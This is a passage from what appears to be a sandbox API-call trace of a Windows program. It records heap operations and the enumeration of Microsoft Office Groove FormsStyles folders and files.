lpOverlapped=0x0) returned 0 [0078.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.954] NtClose (Handle=0x164) returned 0x0 [0078.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.954] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.954] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8520 [0078.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5a18 [0078.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8540 [0078.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5b20 [0078.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.957] GetLastError () returned 0x12 [0078.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.957] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.957] GetLastError () returned 0x12 [0078.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.957] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.958] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0078.958] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0078.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.958] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.959] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0078.959] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.959] NtClose (Handle=0x180) returned 0x0 [0078.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8560 [0078.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5c28 [0078.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.961] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8580 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5d30 [0078.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c85a0 [0078.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5e38 [0078.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.963] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c85c0 [0078.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5f40 [0078.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.964] GetLastError () returned 0x12 [0078.964] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.964] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.964] GetLastError () returned 0x12 [0078.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.964] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0078.964] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0078.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.965] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.966] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0078.966] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.966] NtClose (Handle=0x164) returned 0x0 [0078.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft 